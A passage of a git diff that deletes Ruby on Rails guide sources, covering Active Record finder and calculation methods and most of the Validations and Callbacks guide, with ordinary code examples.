-</ruby>
-
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-
-h3. +select_all+
-
-<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-
-<ruby>
-Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
-</ruby>
-
-h3. Existence of Objects
-
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
-
-<ruby>
-Client.exists?(1)
-</ruby>
-
-The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-
-<ruby>
-Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
-</ruby>
-
-It's even possible to use +exists?+ without any arguments on a model or a relation.
-
-<ruby>
-Client.where(:first_name => 'Ryan').exists?
-</ruby>
-
-The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise.
-
-<ruby>
-Client.exists?
-</ruby>
-
-The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
-
-You can also use +any?+ and +many?+ to check for existence on a model or relation.
-
-<ruby>
-# via a model
-Post.any?
-Post.many?
-
-# via a named scope
-Post.recent.any?
-Post.recent.many?
-
-# via a relation
-Post.where(:published => true).any?
-Post.where(:published => true).many?
-
-# via an association
-Post.first.categories.any?
-Post.first.categories.many?
-</ruby>
-
-h3. Calculations
-
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
-
-All calculation methods work directly on a model:
-
-<ruby>
-Client.count
-# SELECT count(*) AS count_all FROM clients
-</ruby>
-
-Or on a relation:
-
-<ruby>
-Client.where(:first_name => 'Ryan').count
-# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-</ruby>
-
-You can also use various finder methods on a relation for performing complex calculations:
-
-<ruby>
-Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
-</ruby>
-
-Which will execute:
-
-<sql>
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
- LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
- (clients.first_name = 'Ryan' AND orders.status = 'received')
-</sql>
-
-h4. Count
-
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Average
-
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.average("orders_count")
-</ruby>
-
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Minimum
-
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.minimum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Maximum
-
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.maximum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Sum
-
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.sum("orders_count")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile
deleted file mode 100644
index 665e7f9ccc..0000000000
--- a/railties/guides/source/active_record_validations_callbacks.textile
+++ /dev/null
@@ -1,1282 +0,0 @@
-h2. Active Record Validations and Callbacks
-
-This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.
-
-After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-
-* Understand the life cycle of Active Record objects
-* Use the built-in Active Record validation helpers
-* Create your own custom validation methods
-* Work with the error messages generated by the validation process
-* Create callback methods that respond to events in the object life cycle
-* Create special classes that encapsulate common behavior for your callbacks
-* Create Observers that respond to life cycle events outside of the original class
-
-endprologue.
-
-h3. The Object Life Cycle
-
-During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
-
-Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
-
-h3. Validations Overview
-
-Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
-
-h4. Why Use Validations?
-
-Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
-
-There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations:
-
-* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
-* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
-* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
-* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
-
-h4. When Does Validation Happen?
-
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-
-<ruby>
-class Person < ActiveRecord::Base
-end
-</ruby>
-
-We can see how it works by looking at some +rails console+ output:
-
-<ruby>
->> p = Person.new(:name => "John Doe")
-=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-</ruby>
-
-Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
-
-CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
-
-The following methods trigger validations, and will save the object to the database only if the object is valid:
-
-* +create+
-* +create!+
-* +save+
-* +save!+
-* +update+
-* +update_attributes+
-* +update_attributes!+
-
-The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects.
-
-h4. Skipping Validations
-
-The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
-
-* +decrement!+
-* +decrement_counter+
-* +increment!+
-* +increment_counter+
-* +toggle!+
-* +touch+
-* +update_all+
-* +update_attribute+
-* +update_column+
-* +update_counters+
-
-Note that +save+ also has the ability to skip validations if passed +:validate => false+ as argument. This technique should be used with caution.
-
-* +save(:validate => false)+
-
-h4. +valid?+ and +invalid?+
-
-To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true
-end
-
-Person.create(:name => "John Doe").valid? # => true
-Person.create(:name => nil).valid? # => false
-</ruby>
-
-After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
-
-Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true
-end
-
->> p = Person.new
-=> #<Person id: nil, name: nil>
->> p.errors
-=> {}
-
->> p.valid?
-=> false
->> p.errors
-=> {:name=>["can't be blank"]}
-
->> p = Person.create
-=> #<Person id: nil, name: nil>
->> p.errors
-=> {:name=>["can't be blank"]}
-
->> p.save
-=> false
-
->> p.save!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-
->> Person.create!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-</ruby>
-
-+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
-
-h4(#validations_overview-errors). +errors[]+
-
-To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned.
-
-This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true
-end
-
->> Person.new.errors[:name].any? # => false
->> Person.create.errors[:name].any? # => true
-</ruby>
-
-We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
-
-h3. Validation Helpers
-
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
-
-Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
-
-All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
-
-h4. +acceptance+
-
-Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :terms_of_service, :acceptance => true
-end
-</ruby>
-
-The default error message for this helper is "_must be accepted_".
-
-It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :terms_of_service, :acceptance => { :accept => 'yes' }
-end
-</ruby>
-
-h4. +validates_associated+
-
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-
-<ruby>
-class Library < ActiveRecord::Base
- has_many :books
- validates_associated :books
-end
-</ruby>
-
-This validation will work with all of the association types.
-
-CAUTION: Don't use +validates_associated+ on both ends of your associations. They would call each other in an infinite loop.
-
-The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
-
-h4. +confirmation+
-
-You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :email, :confirmation => true
-end
-</ruby>
-
-In your view template you could use something like
-
-<erb>
-<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-</erb>
-
-This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide):
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :email, :confirmation => true
- validates :email_confirmation, :presence => true
-end
-</ruby>
-
-The default error message for this helper is "_doesn't match confirmation_".
-
-h4. +exclusion+
-
-This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Account < ActiveRecord::Base
- validates :subdomain, :exclusion => { :in => %w(www us ca jp),
- :message => "Subdomain %{value} is reserved." }
-end
-</ruby>
-
-The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message is "_is reserved_".
-
-h4. +format+
-
-This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
-
-<ruby>
-class Product < ActiveRecord::Base
- validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
- :message => "Only letters allowed" }
-end
-</ruby>
-
-The default error message is "_is invalid_".
-
-h4. +inclusion+
-
-This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Coffee < ActiveRecord::Base
- validates :size, :inclusion => { :in => %w(small medium large),
- :message => "%{value} is not a valid size" }
-end
-</ruby>
-
-The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message for this helper is "_is not included in the list_".
-
-h4. +length+
-
-This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :length => { :minimum => 2 }
- validates :bio, :length => { :maximum => 500 }
- validates :password, :length => { :in => 6..20 }
- validates :registration_number, :length => { :is => 6 }
-end
-</ruby>
-
-The possible length constraint options are:
-
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
-* +:is+ - The attribute length must be equal to the given value.
-
-The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :bio, :length => { :maximum => 1000,
- :too_long => "%{count} characters is the maximum allowed" }
-end
-</ruby>
-
-This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
-
-<ruby>
-class Essay < ActiveRecord::Base
- validates :content, :length => {
- :minimum => 300,
- :maximum => 400,
- :tokenizer => lambda { |str| str.scan(/\w+/) },
- :too_short => "must have at least %{count} words",
- :too_long => "must have at most %{count} words"
- }
-end
-</ruby>
-
-Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+.
-
-The +size+ helper is an alias for +length+.
-
-h4. +numericality+
-
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
-
-If you set +:only_integer+ to +true+, then it will use the
-
-<ruby>
-/\A[<plus>-]?\d<plus>\Z/
-</ruby>
-
-regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
-
-WARNING. Note that the regular expression above allows a trailing newline character.
-
-<ruby>
-class Player < ActiveRecord::Base
- validates :points, :numericality => true
- validates :games_played, :numericality => { :only_integer => true }
-end
-</ruby>
-
-Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values:
-
-* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_".
-* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_".
-* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_".
-* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_".
-* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_".
-* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
-* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
-
-The default error message is "_is not a number_".
-
-h4. +presence+
-
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :login, :email, :presence => true
-end
-</ruby>
-
-If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-
-<ruby>
-class LineItem < ActiveRecord::Base
- belongs_to :order
- validates :order_id, :presence => true
-end
-</ruby>
-
-Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>.
-
-The default error message is "_can't be empty_".
-
-h4. +uniqueness+
-
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
-
-<ruby>
-class Account < ActiveRecord::Base
- validates :email, :uniqueness => true
-end
-</ruby>
-
-The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.
-
-There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
-
-<ruby>
-class Holiday < ActiveRecord::Base
- validates :name, :uniqueness => { :scope => :year,
- :message => "should happen once per year" }
-end
-</ruby>
-
-There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :uniqueness => { :case_sensitive => false }
-end
-</ruby>
-
-WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
-
-The default error message is "_has already been taken_".
-
-h4. +validates_with+
-
-This helper passes the record to a separate class for validation.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator
-end
-
-class GoodnessValidator < ActiveModel::Validator
- def validate(record)
- if record.first_name == "Evil"
- record.errors[:base] << "This person is evil"
- end
- end
-end
-</ruby>
-
-NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
-
-The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
-
-To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated.
-
-Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
-
-<ruby>
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator, :fields => [:first_name, :last_name]
-end
-
-class GoodnessValidator < ActiveModel::Validator
- def validate(record)
- if options[:fields].any?{|field| record.send(field) == "Evil" }
- record.errors[:base] << "This person is evil"
- end
- end
-end
-</ruby>
-
-h4. +validates_each+
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates_each :name, :surname do |record, attr, value|
- record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
- end
-end
-</ruby>
-
-The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
-
-h3. Common Validation Options
-
-These are common validation options:
-
-h4. +:allow_nil+
-
-The +:allow_nil+ option skips the validation when the value being validated is +nil+.
-
-<ruby>
-class Coffee < ActiveRecord::Base
- validates :size, :inclusion => { :in => %w(small medium large),
- :message => "%{value} is not a valid size" }, :allow_nil => true
-end
-</ruby>
-
-TIP: +:allow_nil+ is ignored by the presence validator.
-
-h4. +:allow_blank+
-
-The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
-
-<ruby>
-class Topic < ActiveRecord::Base
- validates :title, :length => { :is => 5 }, :allow_blank => true
-end
-
-Topic.create("title" => "").valid? # => true
-Topic.create("title" => nil).valid? # => true
-</ruby>
-
-TIP: +:allow_blank+ is ignored by the presence validator.
-
-h4. +:message+
-
-As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-
-h4. +:on+
-
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
-
-<ruby>
-class Person < ActiveRecord::Base
- # it will be possible to update email with a duplicated value
- validates :email, :uniqueness => true, :on => :create
-
- # it will be possible to create the record with a non-numerical age
- validates :age, :numericality => true, :on => :update
-
- # the default (validates on both create and update)
- validates :name, :presence => true, :on => :save
-end
-</ruby>
-
-h3. Conditional Validation
-
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-
-h4. Using a Symbol with +:if+ and +:unless+
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-
-<ruby>
-class Order < ActiveRecord::Base
- validates :card_number, :presence => true, :if => :paid_with_card?
-
- def paid_with_card?
- payment_type == "card"
- end
-end
-</ruby>
-
-h4. Using a String with +:if+ and +:unless+
-
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :surname, :presence => true, :if => "name.nil?"
-end
-</ruby>
-
-h4. Using a Proc with +:if+ and +:unless+
-
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
-
-<ruby>
-class Account < ActiveRecord::Base
- validates :password, :confirmation => true,
- :unless => Proc.new { |a| a.password.blank? }
-end
-</ruby>
-
-h4. Grouping conditional validations
-
-Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
-
-<ruby>
-class User < ActiveRecord::Base
- with_options :if => :is_admin? do |admin|
- admin.validates :password, :length => { :minimum => 10 }
- admin.validates :email, :presence => true
- end
-end
-</ruby>
-
-All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
-
-h3. Performing Custom Validations
-
-When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
-
-h4. Custom Validators
-
-Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
-
-<ruby>
-class MyValidator < ActiveModel::Validator
- def validate(record)
- unless record.name.starts_with? 'X'
- record.errors[:name] << 'Need a name starting with X please!'
- end
- end
-end
-
-class Person
- include ActiveModel::Validations
- validates_with MyValidator
-end
-</ruby>
-
-The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
-
-<ruby>
-class EmailValidator < ActiveModel::EachValidator
- def validate_each(record, attribute, value)
- unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
- record.errors[attribute] << (options[:message] || "is not an email")
- end
- end
-end
-
-class Person < ActiveRecord::Base
- validates :email, :presence => true, :email => true
-end
-</ruby>
-
-As shown in the example, you can also combine standard validations with your own custom validators.
-
-h4. Custom Methods
-
-You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names.
-
-You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
-
-<ruby>
-class Invoice < ActiveRecord::Base
- validate :expiration_date_cannot_be_in_the_past,
- :discount_cannot_be_greater_than_total_value
-
- def expiration_date_cannot_be_in_the_past
- if !expiration_date.blank? and expiration_date < Date.today
- errors.add(:expiration_date, "can't be in the past")
- end
- end
-
- def discount_cannot_be_greater_than_total_value
- if discount > total_value
- errors.add(:discount, "can't be greater than total value")
- end
- end
-end
-</ruby>
-
-You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:
-
-<ruby>
-ActiveRecord::Base.class_eval do
- def self.validates_as_choice(attr_name, n, options={})
- validates attr_name, :inclusion => { {:in => 1..n}.merge(options) }
- end
-end
-</ruby>
-
-Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
-
-<ruby>
-class Movie < ActiveRecord::Base
- validates_as_choice :rating, 5
-end
-</ruby>
-
-h3. Working with Validation Errors
-
-In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
-
-The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods.
-
-h4(#working_with_validation_errors-errors). +errors+
-
-Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors
- # => {:name => ["can't be blank", "is too short (minimum is 3 characters)"]}
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors # => []
-</ruby>
-
-h4(#working_with_validation_errors-errors-2). +errors[]+
-
-+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors[:name] # => []
-
-person = Person.new(:name => "JD")
-person.valid? # => false
-person.errors[:name] # => ["is too short (minimum is 3 characters)"]
-
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.add+
-
-The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
-
-<ruby>
-class Person < ActiveRecord::Base
- def a_method_used_for_validation_purposes
- errors.add(:name, "cannot contain the characters !@#%*()_-+=")
- end
-end
-
-person = Person.create(:name => "!@#")
-
-person.errors[:name]
- # => ["cannot contain the characters !@#%*()_-+="]
-
-person.errors.full_messages
- # => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
-
-Another way to do this is using +[]=+ setter
-
-<ruby>
- class Person < ActiveRecord::Base
- def a_method_used_for_validation_purposes
- errors[:name] = "cannot contain the characters !@#%*()_-+="
- end
- end
-
- person = Person.create(:name => "!@#")
-
- person.errors[:name]
- # => ["cannot contain the characters !@#%*()_-+="]
-
- person.errors.to_a
- # => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
-
-h4. +errors[:base]+
-
-You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
-
-<ruby>
-class Person < ActiveRecord::Base
- def a_method_used_for_validation_purposes
- errors[:base] << "This person is invalid because ..."
- end
-end
-</ruby>
-
-h4. +errors.clear+
-
-The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-
-p.save # => false
-
-p.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.size+
-
-The +size+ method returns the total number of error messages for the object.
-
-<ruby>
-class Person < ActiveRecord::Base
- validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.size # => 2
-
-person = Person.new(:name => "Andrea", :email => "andrea@example.com")
-person.valid? # => true
-person.errors.size # => 0
-</ruby>
-
-h3. Displaying Validation Errors in the View
-
-Rails maintains an official plugin, DynamicForm, that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem.
-
-h4. Installing as a plugin
-
-<shell>
-$ rails plugin install git://github.com/joelmoss/dynamic_form.git
-</shell>
-
-h4. Installing as a Gem
-
-Add this line in your Gemfile:
-
-<ruby>
-gem "dynamic_form"
-</ruby>
-
-Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
-
-h4. +error_messages+ and +error_messages_for+
-
-When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
-
-<ruby>
-class Product < ActiveRecord::Base
- validates :description, :value, :presence => true
- validates :value, :numericality => true, :allow_nil => true
-end
-</ruby>
-
-<erb>
-<%= form_for(@product) do |f| %>
- <%= f.error_messages %>
- <p>
- <%= f.label :description %><br />
- <%= f.text_field :description %>
- </p>
- <p>
